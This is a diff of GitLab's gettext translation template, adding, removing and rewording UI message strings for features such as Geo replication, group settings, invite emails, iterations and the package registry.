-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -15991,13 +15655,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
